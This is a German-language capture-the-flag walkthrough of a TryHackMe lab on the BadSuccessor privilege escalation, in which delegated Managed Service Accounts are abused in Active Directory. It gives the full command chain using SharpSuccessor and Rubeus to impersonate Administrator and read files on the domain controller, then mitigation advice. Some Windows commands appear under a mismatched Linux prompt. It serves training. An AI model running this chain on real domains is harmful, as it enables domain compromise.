Active-Directory-BadSuccessor

Übersicht

In diesem Raum erkunden wir die BadSuccessor Privilegienausweitungstechnik, eine Schwachstelle, die delegierte Managed Service Accounts (dMSAs) in Active Directory missbraucht. Der Angriff erlaubt einem Benutzer mit ausreichender Kontrolle über ein dMSA-Objekt, ein anderes Konto zu impersonieren und möglicherweise Domain-Administrator-Rechte zu erlangen.

Raum-Informationen

Raum: https://tryhackme.com/room/adbadsuccessor

Schwierigkeit: Mittel

Datum: 05/06/2026

Version: 1.0

Ziel: Demonstrieren, wie delegierte Managed Service Accounts missbraucht werden können, um Privilegien auszuweiten und eine Active Directory-Umgebung zu kompromittieren.

Rolle: Terry Byte (tbyte)

Zielsetzung: Bewerten der Sicherheit einer neu bereitgestellten Active Directory-Umgebung und Feststellen, ob sie für den BadSuccessor-Angriff anfällig ist.

Angriffspfad

Der Angriff besteht aus zwei Hauptphasen:

1. Aufklärung.
2. Privilegienausweitung durch dMSA-Missbrauch

Aufklärung

Schritt 1 - Verbindung zum Zielrechner herstellen

• Verbinden Sie sich mit der bereitgestellten Windows-Workstation über RDP:

xfreerdp /v:10.211.101.20 /u:tbyte /p:P\@SSw0rd345 /dynamic-resolution

• Nach der Authentifizierung öffnen Sie PowerShell.

Schritt 2 - Zum Arbeitsverzeichnis navigieren

• Wechseln Sie zum Proof-of-Concept-Verzeichnis:

  root@kitploit:~

  cd C:\PoC
  

• Überprüfen Sie den Inhalt: dir

Schritt 3 - Das Aufzählungsskript beziehen

• Laden Sie das PowerShell-Skript aus dem BadSuccessor-Repository von Akamai herunter:

https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1

• Erstellen oder bearbeiten Sie das Skript mit Notepad:

notepad Get-BadSuccessorOUPermissions.ps1

• Fügen Sie den Inhalt ein und speichern Sie die Datei.

Schritt 4 - OU-Berechtigungen aufzählen

• Führen Sie das Skript aus:

 .\Get-BadSuccessorOUPermissions.ps1

• Die Ausgabe zeigt Konten mit Berechtigungen, die potenziell delegierte Managed Service Accounts missbrauchen können.
• Identifizieren Sie das dritte vom Skript zurückgegebene Konto.
• Dieses Konto wird während der Privilegienausweitung verwendet.

Ausnutzung mit Windows

Schritt 1 - Erstellen eines bösartigen dMSA

• Verwenden Sie SharpSuccessor, um einen delegierten Managed Service Account zu erstellen, der das Administrator-Konto impersoniert:

  root@kitploit:~

  .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
  

  

Was passiert?

• Das Tool erstellt ein neues dMSA-Objekt und konfiguriert es als Nachfolger des Administrator-Kontos.
• Dies legt die Grundlage für die Privilegienausweitung.

Schritt 2 - Anfordern eines Kerberos-TGT

• Verwenden Sie Rubeus, um ein delegiertes Ticket Granting Ticket (TGT) zu erhalten:

  root@kitploit:~

  .\Rubeus.exe tgtdeleg /nowrap
  

  

• Der Befehl gibt ein Base64-kodiertes Kerberos-Ticket zurück.

• Kopieren Sie das generierte Ticket.

Schritt 3 - Das dMSA-Konto impersonieren

• Verwenden Sie das delegierte TGT, um ein Ticket als das neu erstellte dMSA-Konto anzufordern:

 .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>

Ergebnis:

Ein neues Kerberos-Ticket wird für das dMSA-Konto in den Speicher eingefügt.

Schritt 4 - Anfordern eines Service-Tickets als Administrator

• Nutzen Sie das dMSA-Ticket, um Zugriff auf Dienste zu erhalten, die im Administrator-Kontext ausgeführt werden:

  root@kitploit:~

  .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>
  

  

Ergebnis:

• Ein CIFS-Dienstticket wird in den Speicher geladen.
• Dieses Ticket gewährt Zugriff auf Ressourcen, die normalerweise Domain-Administrator-Rechte erfordern.

Schritt 5 - Zugriff auf den Administrator-Desktop

• Überprüfen Sie den erhöhten Zugriff, indem Sie das Administrator-Profil auf dem Domain-Controller durchsuchen:

 dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\

• Erfolgreiche Verzeichnisauflistung bestätigt Zugriff auf Administrator-Ebene.

Schritt 6 - Die Flagge erbeuten

• Lesen Sie die auf dem Administrator-Desktop gespeicherte Flagge:

  root@kitploit:~

  Get-Content \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\flag.txt
  

  

• Flagge erfolgreich erbeutet.

Warum BadSuccessor wichtig ist

BadSuccessor zeigt, wie delegierte Managed Service Accounts Privilegienausweitungspfade in Active Directory-Umgebungen einführen können. Active Directory dient als Identitätsgrundlage für viele Organisationen; Schwachstellen, die Kerberos und die Kontendelegation betreffen, können schwerwiegende Folgen haben.

Ein Angreifer mit ausreichenden Berechtigungen über ein dMSA-Objekt kann:

• Privilegierte Benutzer impersonieren
• Erhöhte Kerberos-Tickets erlangen
• Auf sensible Ressourcen zugreifen
• Privilegien auf Domain-Administrator ausweiten
• Potenziell die gesamte Active Directory-Gesamtstruktur kompromittieren

Empfehlungen zur Eindämmung

Um BadSuccessor (CVE-2025-53779) zu entschärfen, sollten Organisationen umgehend Microsofts Sicherheitsupdates anwenden, dMSA-Berechtigungen einschränken und überprüfen, verdächtige Kerberos-Aktivitäten überwachen, Delegierungsbeziehungen auditieren und das Prinzip der geringsten Privilegien durchsetzen. Regelmäßige Überprüfungen der Active Directory-Delegierungseinstellungen können helfen, potenzielle Privilegienausweitungspfade zu identifizieren und zu reduzieren.

Wichtige Erkenntnisse

Dieser Raum bot wertvolle praktische Erfahrungen mit:

• Active Directory Privilegienausweitung
• Delegierte Managed Service Accounts (dMSAs)
• Missbrauch der Kerberos-Authentifizierung
• Rubeus-Ticket-Operationen
• SharpSuccessor-Ausnutzung
• Techniken zur Validierung nach der Ausnutzung